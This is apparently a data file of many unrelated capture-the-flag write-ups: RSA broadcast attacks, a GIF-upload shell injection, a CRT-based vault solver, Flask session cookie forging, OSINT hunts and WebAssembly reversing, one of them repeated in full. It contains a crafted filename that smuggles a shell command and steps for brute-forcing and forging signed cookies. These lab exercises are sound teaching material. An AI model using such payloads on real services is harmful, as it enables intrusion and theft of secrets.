text_chunk
stringlengths
151
703k
This was a task in which we had to try and capture the flag based on a recovery code which needed to be reversed. In this situation we were given a simple ELF binary which we had to reverse - check out my original writeup for the walkthrough.
This was a forensics task which provided us with an image and then needed us to find to hidden flag - check out my original writeup for the walkthrough.
# Broken Invitation### SolutionSo this is an RSA challenge where we are given 3 moduli and 3 ciphertexts. We are also told that the public exponent used e=3. Since the same plaintext is sent to 3 people the plaintext is susceptible to a Hastad's Broadcast attack. Here is my implementation of the attack to get the flag. ```import mathfrom sympy.functions.elementary.miscellaneous import cbrtfrom Crypto.Util.number import long_to_bytesfrom sympy.ntheory.modular import crt def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod( lastremainder, remainder) x, lastx = lastx - quotient*x, x y, lasty = lasty - quotient*y, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m n1 = 924506488821656685683910901697171383575761384058997452768161613244316449994435541406042874502024337501621283644549497446327156438552952982774526792356194523541927862677535193330297876054850415513120023262998063090052673978470859715791539316871n2 = 88950937117255391223977435698486265468789676087383749025900580476857958577458361251855358598960638495873663408330100969812759959637583297211068274793121379054729169786199319454344007481804946263873110263761707375758247409n3 = 46120424124283407631877739918717497745499448442081604908717069311339764302716539899549382470988469546914660420190473379187397425725302899111432304753418508501904277711772373006543099077921097373552317823052570252978144835744949941108416471431004677c1 = 388825822870813587493154615238012547494666151428446904627095554917874019374474234421038941934804209410745453928513883448152675699305596595130706561989245940306390625802518940063853046813376063232724848204735684760377804361178651844505881089386c2 = 4132099145786478580573701281040504422332184017792293421890701268012883566853254627860193724809808999005233349057847375798626123207766954266507411969802654226242300965967704040276250440511648395550180630597000941240639594c3 = 43690392479478733802175619151519523453201200942800536494806512990350504964044289998495399805335942227586694852363272883331080188161308470522306485983861114557449204887644890409995598852299488628159224012730372865280540944897915435604154376354144428e = 3N = n1 * n2 * n3pt_cubed = crt([n3,n1,n2],[c3,c1,c2])[0]pt = cbrt(pt_cubed)flag = str(long_to_bytes(pt)[::-1])flag = flag[2:-1]print(flag)```
A web based task which needed us to obtain a flag via some unknown means - view an actual indepth walkthrough at my original writeup https://techteaching.webflow.io/posts/cccctf-web-forensics
In this task, you had to upload a valid gif to a webservice, and somehow get a flag with that. What did the app do? It was running ```ffmpeg``` on uploaded gif and breaking it into frames saved as ```.png``` files in ```uploads/{random name}/``` folder. You could preview these images, the random name was known. Code was public. The checks for validity of a file were: 1. File exists2. File has an extension of ".gif"3. Content type is image/gif4. File name consists only of allowed chars check by regex ```^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$ ``` and does not have a ```..```5. File mimetype is image/gif Flag was stored as a variable in main script (```main.py```), but never used. Most important part of the task was this line inside ```main.py```: ```command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)``` in which ffmpeg in a shell was run. It was obvois, that we can somehow manipulate the filename, so that we can execute our own commands. After lots of offline trials with the filename, such one was made: ```nosuchfilelol.gif' \"lol.png\" || grep ffLaG $(find $PWD -maxdepth 1 -type f -name main.py) | tee 'lulz.gif``` Yes, this line above is a filename! I used Burp Suite and Intercepting tool to pass it. GIF that i was uploading was completely legit. When putting it inside the shell command, the server executed something like this: ``` ffmpeg -i 'uploads/nosuchfilelol.gif' "lol.png" || grep ffLaG $(find $PWD -maxdepth 1 -type f -name main.py) | tee 'lulz.gif' "uploads/{uid}/%03d.png" ``` That is happening in here? First, we pass nonexisting gif to ```ffmpeg ```, which crashes, so it triggers the secont part of exploit, after the ```||``` (OR) sign. The second part triggers the ```find``` command on current folder (```$PWD```) to "find" main.py. This way, we can bypass the problem of getting the full path to main.py (regex did not allow slashes). Next, we grep inside the file for flag, and we pass it to ```tee``` command, which saves it into two files (first one is of course useless, but the filename had to finish with ```.gif```). Now, we just read the contents of ```uploads/{random name}/%03d.png``` and boom! We got the flag. Note:To read the ```%03d.png``` file we had to URL-encode it, so the GET request was like ```uploads/{random name}/%2503d.png ``` Good CTF!
# The Challenge > Why would you waste your time catching more than one coelacanth?> > nc chal.uiuc.tf 2004> > Author: potatoboy69 The challenge gave us a netcat interface and the source code behind it. This is the source code: ```#!/usr/bin/pythonimport randomfrom Crypto.Util import numberfrom functools import reduce TOTAL = 15THRESHOLD = 10MAX_COELACANTH = 9 NUM_LOCKS = 5NUM_TRIES = 250 # substitute for math.prodprod = lambda n: reduce(lambda x, y: x*y, n) def create_key(t, n, size=8): while True: seq = sorted([number.getPrime(size) for _ in range(TOTAL)]) if len(set(seq)) != len(seq): continue alpha = prod(seq[:t]) beta = prod(seq[-t + 1:]) if alpha > beta: secret = random.randint(beta, alpha) shares = [(secret % num, num) for num in seq] return secret, shares def construct_key(shares): glue = lambda A, n, s=1, t=0, N=0: (n < 2 and t % N or glue(n, A % n, t, s - A//n * t, N or n), -1)[n < 1] mod = prod([m for s, m in shares]) secret = sum([s * glue(mod//m, m) * mod//m for s, m in shares]) % mod return secret if __name__ == "__main__": print("Hi, and welcome to the virtual Animal Crossing: New Horizon coelacanth vault!") print("There are {} different cryptolocks that must be unlocked in order to open the vault.".format(NUM_LOCKS)) print("You get one portion of each code for each coelacanth you have caught, and will need to use them to reconstruct the key for each lock.") print("Unfortunately, it appears you have not caught enough coelacanths, and thus will need to find another way into the vault.") print("Be warned, these locks have protection against brute force; too many wrong attempts and you will have to start over!") print("") num_shares = abs(int(input("How many coelacanth have you caught? "))) if num_shares > MAX_COELACANTH: print("Don't be silly! You definitely haven't caught more than {} coelacanth!".format(MAX_COELACANTH)) print("Come back when you decide to stop lying.") quit() for lock_num in range(NUM_LOCKS): print("Generating key for lock {}, please wait...".format(lock_num)) secret, shares = create_key(THRESHOLD, TOTAL) print(secret) r_secret = construct_key(random.sample(shares, THRESHOLD)) assert(secret == r_secret) print("Generated!") print("Here are your key portions:") print(random.sample(shares, num_shares)) for num_attempts in range(NUM_TRIES): n_secret = abs(int(input("Please input the key: "))) if secret == n_secret: print("Lock {} unlocked with {} failed attempts!".format(lock_num, num_attempts)) break else: print("Key incorrect. You have {} tries remaining for this lock.".format(NUM_TRIES - num_attempts)) else: print("BRUTE FORCE DETECTED. LOCKS SHUT DOWN.") print("Get out. You don't deserve what's in this vault.") quit() print("Opening vault...") with open("flag.txt", "r") as f: print(f.read())``` The challenge asks you for a number less than 10. If you provide a number greater than 9, it will quit. If you give it an integer less than 10, the challenge gives you that amount of "key portions," and asks you to enter the key. It gives you 250 tries to guess the key (the print statement has an off by one error). ```Hi, and welcome to the virtual Animal Crossing: New Horizon coelacanth vault!There are 5 different cryptolocks that must be unlocked in order to open the vault.You get one portion of each code for each coelacanth you have caught, and will need to use them to reconstruct the key for each lock.Unfortunately, it appears you have not caught enough coelacanths, and thus will need to find another way into the vault.Be warned, these locks have protection against brute force; too many wrong attempts and you will have to start over! How many coelacanth have you caught? 9Generating key for lock 0, please wait...Generated!Here are your key portions:[(119, 229), (197, 251), (0, 181), (189, 233), (22, 211), (145, 179), (195, 223), (155, 239), (179, 227)]Please input the key: 1Key incorrect. You have 250 tries remaining for this lock.``` ### Key generation Looking more closely at the source code, we find the key generation function, which generates the key and shares of the key. ```TOTAL = 15...def create_key(t, n, size=8): while True: seq = sorted([number.getPrime(size) for _ in range(TOTAL)]) if len(set(seq)) != len(seq): continue alpha = prod(seq[:t]) beta = prod(seq[-t + 1:]) if alpha > beta: secret = random.randint(beta, alpha) shares = [(secret % num, num) for num in seq] return secret, shares``` First, it generates 15 unique 8-bit primes. I want to see what the range of the primes are, so I ran that line a few times. I found that this includes all primes between 131 and 257. This could be helpful for later. Next, the function computes the product of the smallest 10 of these primes, and the largest 5 of these primes separately, calling them `alpha` and `beta` respectively. A key between `alpha` and `beta` is chosen only if `alpha > beta`. If not, new primes are generated, and this repeats until the condition is satisfied. Before returning the key, it also computes the shares. Each share is a tuple of the remainder the key divided by one of the generated primes, and the corresponding prime. After some Googling, I found that there is an algorithm that can help us: the Chinese Remainder Theorem (CRT). This is from Google: > In number theory, the Chinese remainder theorem states that if one knows the remainders of the Euclidean division of an integer n by several integers, then one can determine uniquely the remainder of the division of n by the product of these integers, under the condition that the divisors are pairwise coprime. Thankfully, the divisors in our case are all prime numbers, so they are coprime with each other and we can use the CRT. # The Solution ### Chinese Remainder Theorem First, I implemented a version of the CRT. There are many implementations of the CRT online; this is the one I used. ```from functools import reduce prod = lambda n: reduce(lambda x, y: x*y, n) def mul_inv(a, b): b0 = b x0, x1 = 0, 1 if b == 1: return 1 while a > 1: q = a // b a, b = b, a%b x0, x1 = x1 - q * x0, x0 if x1 < 0: x1 += b0 return x1 def chinese_remainder(n, a): sum = 0 product = prod(n) for n_i, a_i in zip(n, a): p = product // n_i sum += a_i * mul_inv(p, n_i) * p return sum % product, product shares = [(125, 193), (13, 167), (63, 229), (87, 131), (106, 191), (120, 257), (9, 163), (78, 173), (126, 137)]n = [s[1] for s in shares]a = [s[0] for s in shares]key, N = chinese_remainder(n, a)``` Next, I manually tested this algorithm to see if I can break the keys (I ran the source code locally, making it print out the shares and the actual key). Unfortunately, after testing with several inputs, it seems like the key the CRT generated was wrong. That's because the CRT finds the MINIMUM value `x` that satisfies the constraints; there are mulitple possible values of `x`. The general solution for CRT is actually: `x + N * k`, where N is the product of the divisors (the 9 primes), and `k` is some non-negative constant. So, our next step is to find `k`. ### Finding `k` We only have 250 tries per password, so we can't just try all `k`. I first did some experimenting. We can reduce the possible values for `k` if we can find `alpha` and `beta`. We have access to 9 of the 15 primes, and we know there are only 24 primes between 131 and 257. This means there are 15 possible options left for the 6 primes we don't know, which equates to `15 choose 6 = 5005` possible combinations of missing primes. For each of those combinations, we can compute `alpha` and `beta`, and if `alpha > beta`, find all `k` such that the key lies between `alpha` and `beta`. ```from itertools import combinationsfrom functools import reducefrom math import ceil, floor prod = lambda n: reduce(lambda x, y: x*y, n) def generate_possible_keys(shares): possible_primes = set([131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257]) primes = sorted([s[1] for s in shares]) for p in primes: possible_primes.remove(p) comb = combinations(list(possible_primes), 15 - len(shares)) x, N = crt(shares) # all x + Nk possible_ks = set([]) for c in comb: seq = sorted(primes + list(c)) alpha = prod(seq[:10]) beta = prod(seq[-10 + 1:]) if alpha > beta: range_n = (beta - x, alpha - x) range_k = (ceil(range_n[0] / N), floor(range_n[1] / N)) for k in range(range_k[0], range_k[1] + 1): possible_ks.add(k) print(possible_ks) possible_keys = [x + N * k for k in possible_ks] return possible_keys shares = [(125, 193), (13, 167), (63, 229), (87, 131), (106, 191), (120, 257), (9, 163), (78, 173), (126, 137)]possible_keys = generate_possible_keys(shares)``` I tested this out on several different lists of shares and found that number of unique `k`s was always less than 250. So, I could try all possible values of `k` within the guessing limits. In fact, this is ONLY true if the number of shares I request is 9. If we only have access to 8 shares, the number of possible `k`s balloons to the ten thousands. Having access to even less shares would increase possible values of `k` even more. After the CTF, I realized that the values of `k`s never even went above 250. I could have just tried all `k`s in the range `[0, 250)`. ### Putting it all together I wrote a script in Python to interact with the socket interface for me: ```import socket def netcat(hn, p): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((hn, p)) data = sock.recv(1024).decode() print(data) data = sock.sendall(b'9\n') data = sock.recv(1024).decode() print(data) for _ in range(5): shares = eval(data.split("\n")[-2]) xs = generate_possible_keys(shares) for x in xs: print(x) sock.sendall(f"{x}\n".encode()) data = sock.recv(1024).decode() print(data) if "Key incorrect" not in data: break netcat("chal.uiuc.tf", 2004)print('done')``` After unlocking the last key, we see this:```Opening vault...Looks like the vault has already been emptied :( however, you can have this flag instead: uiuctf{small_oysters_expire_quick}```
### TL;DR1. Leak the parameter name used to include files.2. Get some informations about configurations with the given info.php that calls phpinfo() function.3. Read the flag from the caching system (Zend Opcache) located at /var/www/cache/.#### For The Full Writeup Click The Link Below!
## Cookie Forge : The description of this challenge was :" Help a new local cookie bakery startup shake down their new online ordering and loyalty rewards portal at https://cookie-forge.cha.hackpack.club! I wonder if they will sell you a Flask of milk to go with your cookies... " ![bella 5](https://user-images.githubusercontent.com/59454895/85864768-3db60200-b7c5-11ea-952d-4d1f70872df4.PNG) First of all i tried to go on " Flagship Loyalty " but all i got was this : ![Noflag](https://user-images.githubusercontent.com/59454895/85865093-aac99780-b7c5-11ea-82b9-5bcfb1a9da42.PNG) Using burp i managed to intercept a cookie field , also there was a hint about flask in the description and and a huge cookie on the main page , so i realized they were using flask to generate the token . I used flask-unsign to read the cookie , launching this comand :" flask-unsign -d -c eyJmbGFnc2hpcCI6ZmFsc2UsInVzZXJuYW1lIjoidGVzdCJ9.Xpn4fg.FHIOgRaiS8-WKoGU1vX5_b9h5q4 " and it gave me {'flagship': False, 'username': 'test'}. I knew we had to change the flagship value but every cookie as a session password , i just bruteforced the password using again flask-unsign ( the result was " password1" ) and made a cookie where i had this values {'flagship': True, 'username': 'test'} . To finish this challenge i encoded my own session with flagship set to True ![CookieToken](https://user-images.githubusercontent.com/59454895/85865297-f8de9b00-b7c5-11ea-9088-dbeb39d9aadc.PNG) After sending the request with my session i went to Flagship Loyalty and the flag was served : ![bella4](https://user-images.githubusercontent.com/59454895/85866326-82429d00-b7c7-11ea-8aef-d028385476e7.PNG) Flag: flag{0hmy@ch1ng_p@ncre@5th33$3@r3_d3l1c10$0}
### Starter OSINT > Our friend isabelle has recently gotten into cybersecurity, she made a point of it by rampantly tweeting about it. Maybe you can find some useful information ;).> > While you may not need it, IsabelleBot has information that applies to this challenge.> > Finishing the warmup OSINT chal will really help with all the other osint chals> > The first two characters of the internal of this flag are 'g0', it may not be plaintext> > Made By: Thomas (I like OSINT) All OSINT operations have some sort of information as a starting point, a "given" if you will. What we know right now is that someone **named** "Isabelle" has gotten into **cybersecurity** and has been **tweeting** about it. This statement alone allows us to start with three pieces of valuable information: 1. They're named Isabelle.2. They're into cybersecurity.3. They're on Twitter. There's also the additional clue from IsabelleBot located in the Discord server of the event, who seems to know something that can help us. After running the `!help` command on IsabelleBot, we get a list of commands she supports: > Here's a list of all my commands:,eventtime, flag, help, ping, timeleft,> You can send !help [command name] to get info on a specific command!> > Oh yeah, there is also the hoodie command and the bet command. Ah yes. You can try networking with me with !socials.> I also totally forgot the currency stuff. That's work,bet,transfer,balance,inventory,shop, and buy. That `!socials` command looks really interesting, especially since we know that Isabelle is located on Twitter. When we run that command, she sends us another clue: > I'm a hacker, but I'm also Isabelle. Maybe you could call me... IsabelleHacker? No, that sounds strange... Whatever, it will be something like that. Now we know that her username is *like* "IsabelleHacker," and so we can deduce some possible usernames that she might use: - IsabelleHacking- IsabelleHack- IsabelleSecurity- HackingIsabelle- HackerIsabelle- SecurityIsabelle After querying Twitter for users with usernames similar to this, we stumble upon a positive result from "HackerIsabelle." ![](https://irissec.xyz/uploads/2020-07-26/img00.png) Looks like we've found her! Let's do some digging into her account to see if anything interesting or valuable to us pops up. Something interesting about Twitter is that replies are automatically hidden from the primary profile page, and you actually have to go into "Tweets \& replies" in order to see replies *in addition* to regular tweets. After some scrolling, we stumble upon the flag in a tweet. ![](https://irissec.xyz/uploads/2020-07-26/img01.png) Now that we've found the flag, let's shift focus from the competition's environment to the real-world environment. **How can this be applied in real life?** In real life OSINT engagements, you'll often times have only a minimum amount of information to go off of. It's important that you can understand to the fullest extent possible the value of the information that you do have. I recall from the National Cyber League last season an OSINT challenge in which we were given a few vague pictures pointing to a location and the only things we could go off of were a few vague highway signs, but we were able to deduce the exact location based on the (cropped) texts of the signs, the rural-like backgrounds of the pictures, and hell, even the shape and color of the signs! When you're given a starting point in an OSINT engagement, study it, understand it, and think of every single possible implication of the given information to the fullest extent possible in order to get your foot into the door of the investigation.
### Isabelle's Bad Opsec 3 > Isabelle has a youtube video somewhere, something is hidden in it.> > Solving Previous OSINT Chals will help you with this challenge> > The first two characters of the internal of this flag are 'w3', it may not be plaintext. Additionally, the flag format may not be standard capitalization. Please be aware> > Made By: Thomas Now that we've found Isabelle's YouTube channel, it looks like we need to find a video and some information hidden in the video. As we saw in the previous level, Isabelle has [one video uploaded](https://www.youtube.com/watch?v=djhRaz3viU8). Something I noticed about this level is that the captions were absent for the last second of the video. Immediately, this becomes a source of suspicion. For this level, I have to credit my teammate [[nope]] for discovering the hidden data inside of one of the caption files. ![](https://irissec.xyz/uploads/2020-07-26/img16.png) I must admit that without my teammate [[nope]], I would not have gotten this. I was actually trying to perform all sorts of steganography on the video to see if there might have been something hidden in the video or audio streams. **Applying this to real life OSINT now,** we learn that sometimes evidence may be left behind by the *community* surrounding a target and not necessarily by the target themselves. In this case, it was left behind in a community-driven set of captions for a video as opposed to being left behind by the target Isabelle herself. For example, if you're in an OSINT engagement and investigating a group of covert suspects that are roaming around an area, you might benefit from looking at photos geotagged near the area recently posted to social media to track their movement and path. OSINT, while it may have a target, can gather valuable information from sources other than the target themselves.
### Isabelle's Bad Opsec 2 > Wow holy heck Isabelle's OPSEC is really bad. She was trying to make a custom youtube api but it didnt work. Can you find her channel??> > Finishing Isabelle's Opsec 1 will may you with this challenge> > The first two characters of the internal of this flag are 'l3', it may not be plaintext Additionally, the flag format may not be standard capitalization. Please be aware> > Made By: Thomas Looks like we need to find Isabelle's YouTube channel now. The challenge description mentions that she was trying to make a custom YouTube API, which was something that we actually saw in the last challenge as another repository on Isabelle's GitHub account. Let's go ahead and see what that repository has to offer. ![](https://irissec.xyz/uploads/2020-07-26/img12.png) Having a look through the commit log and seeing the most recent commit brings us to this: ![](https://irissec.xyz/uploads/2020-07-26/img13.png) It looks like we've found a channel ID that was deleted in a commit. On YouTube, channel URLs are in the format `www.youtube.com/channel/<ID>`, so let's so ahead and see if that channel exists. Upon visiting the expected channel URL, we can see that the channel does indeed exist. ![](https://irissec.xyz/uploads/2020-07-26/img14.png) After exploring her channel for a little bit, we see some outgoing links to her Twitter and website. ![](https://irissec.xyz/uploads/2020-07-26/img15.png) Clicking on the link to her website brings us to the following: `https://uiuc.tf/?flag=uiuctf%7Bl3g3nd_oF_zeld@_m0re_like_l3gend_0f_l1nk!%7D` Looks like the flag is in the URL! All we have to do before submitting is change `%7B` and `%7D`, which are just [percent encoded](https://en.wikipedia.org/wiki/Percent-encoding), into their ASCII `{` and `}` counterparts, respectively. **So what have we learned?** Perhaps the most important lesson is understanding the importance of understanding data leakage. It might surprise you, but it's actually incredibly common for people to accidentally leave out API keys, SSH keys, or other sensitive information and then try to fix it with just a new commit. *One of the many intended features of git is the ability to explore a repository at a previous point in time.* Data leakage is very real, and understanding how you can detect and interpret data leakage can be a valuable skill during OSINT operations to better assess a target.
### Isabelle's Bad Opsec 1 > Isabelle has some really bad opsec! She left some code up on a repo that definitely shouldnt be public. Find the naughty code and claim your prize.> > Finishing the warmup OSINT chal will really help with this chal> > The first two characters of the internal of this flag are 'c0', it may not be plaintext Additionally, the flag format may not be standard capitalization. Please be aware> > Made By: Thomas We are now told that Isabelle has left some code up on a repository that is publicly accessible. Because we were able to get our foot in the door by finding her Twitter in the previous challenge, we can deduce from another tweet that she has a GitHub account. For the uninitiated, GitHub is one such website hosting git repositories for code. The information from this tweet is consistent with the information from the challenge description suggesting she has a code repository somewhere: ![](https://irissec.xyz/uploads/2020-07-26/img02.png) The next step is to find out where her GitHub is. A quick search of "HackerIsabelle" returns no positive results. We can again use her tweets to deduce some facts about her. Clue #1: her Twitter bio referencing "0x15ABE11E." ![](https://irissec.xyz/uploads/2020-07-26/img03.png) Clue #2: a tweet referencing "0x15ABE11E." ![](https://irissec.xyz/uploads/2020-07-26/img04.png) Clue #3: a tweet again referencing "0x15ABE11E." ![](https://irissec.xyz/uploads/2020-07-26/img05.png) From clues #1-3, we can deduce that "0x15ABE11E" may be a possible alias and possibly a username that she might use, or if not then at least another string she might mention elsewhere. Clue #4: a reference to "mimidogz" and an error. ![](https://irissec.xyz/uploads/2020-07-26/img06.png) There are a few more references to mimidogz, but this is perhaps the most significant one as the error referenced suggests that mimidogz is a program. We can deduce that this may be the name of a project that Isabelle is working on. Clue #5: a tweet referencing "IsabelleOnSecurity." ![](https://irissec.xyz/uploads/2020-07-26/img07.png) From this clue, we can deduce that "IsabelleOnSecurity" is a possible username. From these three sets of clues, we can query GitHub for any one of "0x15ABE11E," "mimidogz," or "IsabelleOnSecurity" to reach her GitHub profile. ![](https://irissec.xyz/uploads/2020-07-26/img08.png) Looking into "mimidogz," we arrive at a code repository. ![](https://irissec.xyz/uploads/2020-07-26/img09.png) Looking into the `dogz.py` program, we find an interesting chunk of code from lines 40-41. ```python# Driver Code DRIVER_CODE = "c3BhZ2hldHRp=="``` This base64 string just decodes to "spaghetti," but could it have been something else in a previous version of this project? When we check the blame for this file, we can see that the driver code was not always that string. ![](https://irissec.xyz/uploads/2020-07-26/img10.png) Checking out that specific commit allows us to see the changes made. ![](https://irissec.xyz/uploads/2020-07-26/img11.png) A quick base64 decoding of the string from the older version gives us the flag. ```[skat@osiris:~] $ echo "dWl1Y3Rme2MwbU0xdF90b195b3VyX2RyM0BtNSF9==" | base64 -d 2>/dev/nulluiuctf{c0mM1t_to_your_dr3@m5!}``` **Let's talk about how these techniques and tactics can be applied to real life OSINT engagements now.** It's very common in a real life engagement to have to pivot from one platform to another. In this case, it was from Twitter to GitHub. Users might not have the same username from platform to platform, but there are plenty of ways to find them. On many platforms, you can perform a search by email address or phone number. Here, we were able to use deductive reasoning in order to accomplish this. Something that I've noticed about people is that *we talk a lot*. You don't need to phish out someone's answers to their security questions because they'll oftentimes just give it to you! Whether it's birthdays, their favorite bands, their favorite cars or their elementary schools or the names of their first pets, it usually only takes a few minutes of scrolling through their online activity to find this information *because they don't keep it a secret to begin with*. Because Isabelle was publicly talking about her project, we were able to pivot from Twitter to GitHub by knowing the name of the project as well as some other tidbits of information about her such as potential usernames. In a real life OSINT engagement, *it is important to understand the value of a person's ego*. By paying attention to someone's likes, dislikes, projects, friends, background, etc. you can learn a lot about a target. Is your engagement against a drug ring? Check out their social media friends and follows. Check out their Instagram highlights where they openly flaunt around gang and drug paraphernalia. A person's ego can fuel their pride but it can also fuel your operation. > "To the people in the audience, the h4x0rz, lose the ego ... Cred is your enemy, don't talk about the s\*\*\* that you're doing."> \- Zoz, DEFCON 22 "Don't F\*\*\* It Up!"
So like the first version, we set the `secret_backend_service` cookie to true and an `Access (Beta)` button shows up. ![image-20200721233207127](https://irissec.xyz/uploads/2020-07-24/image-20200721233207127.png) Ah yes, emscripten, and probably webm. Let's check the network sources to find the files. ![image-20200721233236255](https://irissec.xyz/uploads/2020-07-24/image-20200721233236255.png) There's a decrypt function that seems to print something like a flag but it doesn't really print out all the way. index.js is going to be boring emscripten code so we can ignore that. But the .wasm file is where the real code is at. Also, there seems to be a flag file. Let's copy the url of these and download them somewhere. It does mention some xor encryption, and we do have a flag file that might have something to do with it. But instead of just guessing, why bother if we have the code? To view the contents of the wasm file, let's use great tools like `wasm2wat` and `wasm-decompile` from [wabt](https://github.com/WebAssembly/wabt). If we run wasm-decompile first, we get something like this: ![image-20200721233833102](https://irissec.xyz/uploads/2020-07-24/image-20200721233833102.png) This looks like mostly garbage, but we do see some strings from the output we saw earlier. There's lots and lots of code here that I'm not going to look through, however we do know that there is some xoring going on. There are quite a few functions lying around, but f_k, one of the first functions, seems to have an xor in it. Let's edit the code and see if that xor is the one we're thinking of. We can use `wasm2wat` for this. ``` (func (;10;) (type 3) (param i32 i32) (result i32) (local i32 i32 i32 i32 i32 i32 i32 i32) global.get 0 local.set 2 i32.const 16 local.set 3 local.get 2 local.get 3 i32.sub local.set 4 local.get 4 local.get 0 i32.store offset=12 local.get 4 local.get 1 i32.store offset=8 local.get 4 i32.load offset=12 local.set 5 local.get 4 i32.load offset=8 local.set 6 local.get 5 local.get 6 i32.xor local.set 7 i32.const 3 local.set 8 local.get 7 return)``` To test this out, we'll change `i32.xor` to `i32.and`. Now for running the program. Convert the wat back to a wasm with `wat2wasm`. Download `index.js` and `abd` (rename abd.html) from the server. Have the `flag` file in a folder called `a9bc27ff-0b0c-494d-9377-14c95ca94b67` next to the wasm file. This should match the structure of the original server. ![image-20200722132820422](https://irissec.xyz/uploads/2020-07-24/image-20200722132820422.png) Now just set up a `python -m http.server` and connect. ![image-20200721234822792](https://irissec.xyz/uploads/2020-07-24/image-20200721234822792.png) Haha! Our luck, one of the first functions was actually the function we were looking for. Let's look at the decompiled code for that function again. ```function f_k(a:int, b:int):int { var c:int = g_a; var d:int = 16; var e:int = c - d; e[3]:int = a; e[2]:int = b; var f:int = e[3]:int; var g:int = e[2]:int; var h:int = f ^ g; var i:int = 3; var j:int = h | i; return j;}``` For some reason after we xor, we or the result with 3. And also, the characters printed earlier seemed sort of like they could be 3 characters away. Let's try removing that. The easiest way would be changing the 3 in `i32.const 3` to 0 in the wat. ![image-20200721235148022](https://irissec.xyz/uploads/2020-07-24/image-20200721235148022.png) We got it! The whole thing was just simple xor. Of course there was the flag file, but where was the other part? If you look back at the decompiled code again you'll see this line at the top: `data d_b(offset: 2048) = "\12\e8\f3\e9\09\1a\b3\8f>\bb\c1h\19\0ai#\` That string there is what you need to xor with the flag. ![image-20200721235557643](https://irissec.xyz/uploads/2020-07-24/image-20200721235557643.png) --- Also, this same removing or of 3 works on nookstop 3.0 as well. However if you want to xor manually, it's a little different. It stores the xor key in a different place/format. If you look at nookstop 3.0 decompiled, you'll see this later down the line on d_b: `]\00h\00\d9\00\03\004\00\86\00\ab\00G\00I\00\04\00\d4\00\d7\00,\00\94\00\1b\00\a8\00` For some reason there are 0s separating all the values (or maybe 2 byte vals?), but if we remove the 00s and convert it all to hex: `5D 68 D9 03 34 86 AB 47 49 04 D4 D7 2C 94 1B A8` ![image-20200722132204480](https://irissec.xyz/uploads/2020-07-24/image-20200722132204480.png) So it was basically the same problem.So like the first version, we set the `secret_backend_service` cookie to true and an `Access (Beta)` button shows up. ![image-20200721233207127](https://irissec.xyz/img/uiuctf2020/image-20200721233207127.png) Ah yes, emscripten, and probably webm. Let's check the network sources to find the files. ![image-20200721233236255](https://irissec.xyz/img/uiuctf2020/image-20200721233236255.png) There's a decrypt function that seems to print something like a flag but it doesn't really print out all the way. index.js is going to be boring emscripten code so we can ignore that. But the .wasm file is where the real code is at. Also, there seems to be a flag file. Let's copy the url of these and download them somewhere. It does mention some xor encryption, and we do have a flag file that might have something to do with it. But instead of just guessing, why bother if we have the code? To view the contents of the wasm file, let's use great tools like `wasm2wat` and `wasm-decompile` from [wabt](https://github.com/WebAssembly/wabt). If we run wasm-decompile first, we get something like this: ![image-20200721233833102](https://irissec.xyz/img/uiuctf2020/image-20200721233833102.png) This looks like mostly garbage, but we do see some strings from the output we saw earlier. There's lots and lots of code here that I'm not going to look through, however we do know that there is some xoring going on. There are quite a few functions lying around, but f_k, one of the first functions, seems to have an xor in it. Let's edit the code and see if that xor is the one we're thinking of. We can use `wasm2wat` for this. ``` (func (;10;) (type 3) (param i32 i32) (result i32) (local i32 i32 i32 i32 i32 i32 i32 i32) global.get 0 local.set 2 i32.const 16 local.set 3 local.get 2 local.get 3 i32.sub local.set 4 local.get 4 local.get 0 i32.store offset=12 local.get 4 local.get 1 i32.store offset=8 local.get 4 i32.load offset=12 local.set 5 local.get 4 i32.load offset=8 local.set 6 local.get 5 local.get 6 i32.xor local.set 7 i32.const 3 local.set 8 local.get 7 return)``` To test this out, we'll change `i32.xor` to `i32.and`. Now for running the program. Convert the wat back to a wasm with `wat2wasm`. Download `index.js` and `abd` (rename abd.html) from the server. Have the `flag` file in a folder called `a9bc27ff-0b0c-494d-9377-14c95ca94b67` next to the wasm file. This should match the structure of the original server. ![image-20200722132820422](https://irissec.xyz/img/uiuctf2020/image-20200722132820422.png) Now just set up a `python -m http.server` and connect. ![image-20200721234822792](https://irissec.xyz/img/uiuctf2020/image-20200721234822792.png) Haha! Our luck, one of the first functions was actually the function we were looking for. Let's look at the decompiled code for that function again. ```function f_k(a:int, b:int):int { var c:int = g_a; var d:int = 16; var e:int = c - d; e[3]:int = a; e[2]:int = b; var f:int = e[3]:int; var g:int = e[2]:int; var h:int = f ^ g; var i:int = 3; var j:int = h | i; return j;}``` For some reason after we xor, we or the result with 3. And also, the characters printed earlier seemed sort of like they could be 3 characters away. Let's try removing that. The easiest way would be changing the 3 in `i32.const 3` to 0 in the wat. ![image-20200721235148022](https://irissec.xyz/img/uiuctf2020/image-20200721235148022.png) We got it! The whole thing was just simple xor. Of course there was the flag file, but where was the other part? If you look back at the decompiled code again you'll see this line at the top: `data d_b(offset: 2048) = "\12\e8\f3\e9\09\1a\b3\8f>\bb\c1h\19\0ai#\` That string there is what you need to xor with the flag. ![image-20200721235557643](https://irissec.xyz/img/uiuctf2020/image-20200721235557643.png) --- Also, this same removing or of 3 works on nookstop 3.0 as well. However if you want to xor manually, it's a little different. It stores the xor key in a different place/format. If you look at nookstop 3.0 decompiled, you'll see this later down the line on d_b: `]\00h\00\d9\00\03\004\00\86\00\ab\00G\00I\00\04\00\d4\00\d7\00,\00\94\00\1b\00\a8\00` For some reason there are 0s separating all the values (or maybe 2 byte vals?), but if we remove the 00s and convert it all to hex: `5D 68 D9 03 34 86 AB 47 49 04 D4 D7 2C 94 1B A8` ![image-20200722132204480](https://irissec.xyz/img/uiuctf2020/image-20200722132204480.png) So it was basically the same problem.
